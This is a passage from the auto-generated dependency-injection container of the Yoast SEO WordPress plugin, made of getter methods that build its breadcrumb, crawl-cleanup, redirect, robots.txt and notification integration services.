        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Workouts_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Workouts_Integration(${($_ = isset($this->services['WPSEO_Addon_Manager']) ? $this->services['WPSEO_Addon_Manager'] : $this->getWPSEOAddonManagerService()) && false ?: '_'}, ${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Alerts\Black_Friday_Product_Editor_Checklist_Notification' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Alerts\Black_Friday_Product_Editor_Checklist_Notification
     */
    protected function getBlackFridayProductEditorChecklistNotificationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Product_Editor_Checklist_Notification'] = new \Yoast\WP\SEO\Integrations\Alerts\Black_Friday_Product_Editor_Checklist_Notification();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Alerts\Black_Friday_Promotion_Notification' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Alerts\Black_Friday_Promotion_Notification
     */
    protected function getBlackFridayPromotionNotificationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Promotion_Notification'] = new \Yoast\WP\SEO\Integrations\Alerts\Black_Friday_Promotion_Notification();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Alerts\Black_Friday_Sidebar_Checklist_Notification' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Alerts\Black_Friday_Sidebar_Checklist_Notification
     */
    protected function getBlackFridaySidebarChecklistNotificationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Sidebar_Checklist_Notification'] = new \Yoast\WP\SEO\Integrations\Alerts\Black_Friday_Sidebar_Checklist_Notification();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Alerts\Trustpilot_Review_Notification' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Alerts\Trustpilot_Review_Notification
     */
    protected function getTrustpilotReviewNotificationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Alerts\\Trustpilot_Review_Notification'] = new \Yoast\WP\SEO\Integrations\Alerts\Trustpilot_Review_Notification();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Alerts\Webinar_Promo_Notification' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Alerts\Webinar_Promo_Notification
     */
    protected function getWebinarPromoNotificationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Alerts\\Webinar_Promo_Notification'] = new \Yoast\WP\SEO\Integrations\Alerts\Webinar_Promo_Notification();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Blocks\Block_Editor_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Blocks\Block_Editor_Integration
     */
    protected function getBlockEditorIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Blocks\\Block_Editor_Integration'] = new \Yoast\WP\SEO\Integrations\Blocks\Block_Editor_Integration(${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Blocks\Breadcrumbs_Block' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Blocks\Breadcrumbs_Block
     */
    protected function getBreadcrumbsBlockService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Blocks\\Breadcrumbs_Block'] = new \Yoast\WP\SEO\Integrations\Blocks\Breadcrumbs_Block(${($_ = isset($this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer']) ? $this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer'] : $this->getMetaTagsContextMemoizerService()) && false ?: '_'}, ${($_ = isset($this->services['WPSEO_Replace_Vars']) ? $this->services['WPSEO_Replace_Vars'] : $this->getWPSEOReplaceVarsService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface']) ? $this->services['Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface'] : $this->getHelpersSurfaceService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Blocks\Internal_Linking_Category' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Blocks\Internal_Linking_Category
     */
    protected function getInternalLinkingCategoryService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Blocks\\Internal_Linking_Category'] = new \Yoast\WP\SEO\Integrations\Blocks\Internal_Linking_Category();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Blocks\Structured_Data_Blocks' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Blocks\Structured_Data_Blocks
     */
    protected function getStructuredDataBlocksService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Blocks\\Structured_Data_Blocks'] = new \Yoast\WP\SEO\Integrations\Blocks\Structured_Data_Blocks(${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Breadcrumbs_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Breadcrumbs_Integration
     */
    protected function getBreadcrumbsIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Breadcrumbs_Integration'] = new \Yoast\WP\SEO\Integrations\Breadcrumbs_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface']) ? $this->services['Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface'] : $this->getHelpersSurfaceService()) && false ?: '_'}, ${($_ = isset($this->services['WPSEO_Replace_Vars']) ? $this->services['WPSEO_Replace_Vars'] : $this->getWPSEOReplaceVarsService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer']) ? $this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer'] : $this->getMetaTagsContextMemoizerService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Cleanup_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Cleanup_Integration
     */
    protected function getCleanupIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Cleanup_Integration'] = new \Yoast\WP\SEO\Integrations\Cleanup_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Cleanup_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Cleanup_Repository'] : $this->getIndexableCleanupRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Duplicate_Post_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Duplicate_Post_Integration
     *
     * @deprecated Yoast\WP\SEO\Integrations\Duplicate_Post_Integration is deprecated since version 23.4!
     */
    protected function getDuplicatePostIntegrationService()
    {
        @trigger_error('Yoast\\WP\\SEO\\Integrations\\Duplicate_Post_Integration is deprecated since version 23.4!', E_USER_DEPRECATED);

        return $this->services['Yoast\\WP\\SEO\\Integrations\\Duplicate_Post_Integration'] = new \Yoast\WP\SEO\Integrations\Duplicate_Post_Integration();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Estimated_Reading_Time' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Estimated_Reading_Time
     */
    protected function getEstimatedReadingTimeService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Estimated_Reading_Time'] = new \Yoast\WP\SEO\Integrations\Estimated_Reading_Time();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Exclude_Attachment_Post_Type' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Exclude_Attachment_Post_Type
     */
    protected function getExcludeAttachmentPostTypeService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Exclude_Attachment_Post_Type'] = new \Yoast\WP\SEO\Integrations\Exclude_Attachment_Post_Type();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Exclude_Oembed_Cache_Post_Type' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Exclude_Oembed_Cache_Post_Type
     */
    protected function getExcludeOembedCachePostTypeService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Exclude_Oembed_Cache_Post_Type'] = new \Yoast\WP\SEO\Integrations\Exclude_Oembed_Cache_Post_Type();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Feature_Flag_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Feature_Flag_Integration
     */
    protected function getFeatureFlagIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Feature_Flag_Integration'] = new \Yoast\WP\SEO\Integrations\Feature_Flag_Integration(${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Conditionals\\Addon_Installation_Conditional']) ? $this->services['Yoast\\WP\\SEO\\Conditionals\\Addon_Installation_Conditional'] : ($this->services['Yoast\\WP\\SEO\\Conditionals\\Addon_Installation_Conditional'] = new \Yoast\WP\SEO\Conditionals\Addon_Installation_Conditional())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Conditionals\\Check_Required_Version_Conditional']) ? $this->services['Yoast\\WP\\SEO\\Conditionals\\Check_Required_Version_Conditional'] : ($this->services['Yoast\\WP\\SEO\\Conditionals\\Check_Required_Version_Conditional'] = new \Yoast\WP\SEO\Conditionals\Check_Required_Version_Conditional())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Conditionals\\New_Settings_Ui_Conditional']) ? $this->services['Yoast\\WP\\SEO\\Conditionals\\New_Settings_Ui_Conditional'] : ($this->services['Yoast\\WP\\SEO\\Conditionals\\New_Settings_Ui_Conditional'] = new \Yoast\WP\SEO\Conditionals\New_Settings_Ui_Conditional())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Conditionals\\Text_Formality_Conditional']) ? $this->services['Yoast\\WP\\SEO\\Conditionals\\Text_Formality_Conditional'] : ($this->services['Yoast\\WP\\SEO\\Conditionals\\Text_Formality_Conditional'] = new \Yoast\WP\SEO\Conditionals\Text_Formality_Conditional())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Conditionals\\Updated_Importer_Framework_Conditional']) ? $this->services['Yoast\\WP\\SEO\\Conditionals\\Updated_Importer_Framework_Conditional'] : ($this->services['Yoast\\WP\\SEO\\Conditionals\\Updated_Importer_Framework_Conditional'] = new \Yoast\WP\SEO\Conditionals\Updated_Importer_Framework_Conditional())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Backwards_Compatibility' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Front_End\Backwards_Compatibility
     */
    protected function getBackwardsCompatibilityService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Backwards_Compatibility'] = new \Yoast\WP\SEO\Integrations\Front_End\Backwards_Compatibility(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Category_Term_Description' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Front_End\Category_Term_Description
     */
    protected function getCategoryTermDescriptionService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Category_Term_Description'] = new \Yoast\WP\SEO\Integrations\Front_End\Category_Term_Description();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Comment_Link_Fixer' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Front_End\Comment_Link_Fixer
     */
    protected function getCommentLinkFixerService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Comment_Link_Fixer'] = new \Yoast\WP\SEO\Integrations\Front_End\Comment_Link_Fixer(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Robots_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Robots_Helper'] : $this->getRobotsHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Crawl_Cleanup_Basic' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Front_End\Crawl_Cleanup_Basic
     */
    protected function getCrawlCleanupBasicService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Basic'] = new \Yoast\WP\SEO\Integrations\Front_End\Crawl_Cleanup_Basic(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Crawl_Cleanup_Rss' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Front_End\Crawl_Cleanup_Rss
     */
    protected function getCrawlCleanupRssService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Rss'] = new \Yoast\WP\SEO\Integrations\Front_End\Crawl_Cleanup_Rss(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Crawl_Cleanup_Searches' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Front_End\Crawl_Cleanup_Searches
     */
    protected function getCrawlCleanupSearchesService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Searches'] = new \Yoast\WP\SEO\Integrations\Front_End\Crawl_Cleanup_Searches(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Feed_Improvements' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Front_End\Feed_Improvements
     */
    protected function getFeedImprovementsService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Feed_Improvements'] = new \Yoast\WP\SEO\Integrations\Front_End\Feed_Improvements(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Surfaces\\Meta_Surface']) ? $this->services['Yoast\\WP\\SEO\\Surfaces\\Meta_Surface'] : $this->getMetaSurfaceService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Force_Rewrite_Title' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Front_End\Force_Rewrite_Title
     */
    protected function getForceRewriteTitleService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Force_Rewrite_Title'] = new \Yoast\WP\SEO\Integrations\Front_End\Force_Rewrite_Title(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper']) ? $this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] : ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] = new \Yoast\WP\SEO\Wrappers\WP_Query_Wrapper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Handle_404' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Front_End\Handle_404
     */
    protected function getHandle404Service()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Handle_404'] = new \Yoast\WP\SEO\Integrations\Front_End\Handle_404(${($_ = isset($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper']) ? $this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] : ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] = new \Yoast\WP\SEO\Wrappers\WP_Query_Wrapper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Indexing_Controls' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Front_End\Indexing_Controls
     */
    protected function getIndexingControlsService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Indexing_Controls'] = new \Yoast\WP\SEO\Integrations\Front_End\Indexing_Controls(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Robots_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Robots_Helper'] : $this->getRobotsHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Open_Graph_OEmbed' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Front_End\Open_Graph_OEmbed
     */
    protected function getOpenGraphOEmbedService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Open_Graph_OEmbed'] = new \Yoast\WP\SEO\Integrations\Front_End\Open_Graph_OEmbed(${($_ = isset($this->services['Yoast\\WP\\SEO\\Surfaces\\Meta_Surface']) ? $this->services['Yoast\\WP\\SEO\\Surfaces\\Meta_Surface'] : $this->getMetaSurfaceService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\RSS_Footer_Embed' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Front_End\RSS_Footer_Embed
     */
    protected function getRSSFooterEmbedService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\RSS_Footer_Embed'] = new \Yoast\WP\SEO\Integrations\Front_End\RSS_Footer_Embed(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Redirects' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Front_End\Redirects
     */
    protected function getRedirectsService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Redirects'] = new \Yoast\WP\SEO\Integrations\Front_End\Redirects(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] = new \Yoast\WP\SEO\Helpers\Meta_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Robots_Txt_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Front_End\Robots_Txt_Integration
     */
    protected function getRobotsTxtIntegrationService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Robots_Txt_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Robots_Txt_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Robots_Txt_Helper'] = new \Yoast\WP\SEO\Helpers\Robots_Txt_Helper())) && false ?: '_'};

        return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Robots_Txt_Integration'] = new \Yoast\WP\SEO\Integrations\Front_End\Robots_Txt_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, $a, new \Yoast\WP\SEO\Presenters\Robots_Txt_Presenter($a));
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Schema_Accessibility_Feature' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Front_End\Schema_Accessibility_Feature
     */
    protected function getSchemaAccessibilityFeatureService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Schema_Accessibility_Feature'] = new \Yoast\WP\SEO\Integrations\Front_End\Schema_Accessibility_Feature();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\WP_Robots_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Front_End\WP_Robots_Integration
     */
    protected function getWPRobotsIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\WP_Robots_Integration'] = new \Yoast\WP\SEO\Integrations\Front_End\WP_Robots_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer']) ? $this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer'] : $this->getMetaTagsContextMemoizerService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Front_End_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Front_End_Integration
     */
    protected function getFrontEndIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End_Integration'] = new \Yoast\WP\SEO\Integrations\Front_End_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer']) ? $this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer'] : $this->getMetaTagsContextMemoizerService()) && false ?: '_'}, $this, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface']) ? $this->services['Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface'] : $this->getHelpersSurfaceService()) && false ?: '_'}, ${($_ = isset($this->services['WPSEO_Replace_Vars']) ? $this->services['WPSEO_Replace_Vars'] : $this->getWPSEOReplaceVarsService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Primary_Category' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Primary_Category
     */
    protected function getPrimaryCategoryService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Primary_Category'] = new \Yoast\WP\SEO\Integrations\Primary_Category();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Settings_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Settings_Integration
     */
    protected function getSettingsIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Settings_Integration'] = new \Yoast\WP\SEO\Integrations\Settings_Integration(${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'}, ${($_ = isset($this->services['WPSEO_Replace_Vars']) ? $this->services['WPSEO_Replace_Vars'] : $this->getWPSEOReplaceVarsService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Config\\Schema_Types']) ? $this->services['Yoast\\WP\\SEO\\Config\\Schema_Types'] : ($this->services['Yoast\\WP\\SEO\\Config\\Schema_Types'] = new \Yoast\WP\SEO\Config\Schema_Types())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Language_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Language_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Language_Helper'] = new \Yoast\WP\SEO\Helpers\Language_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] : $this->getTaxonomyHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper']) ? 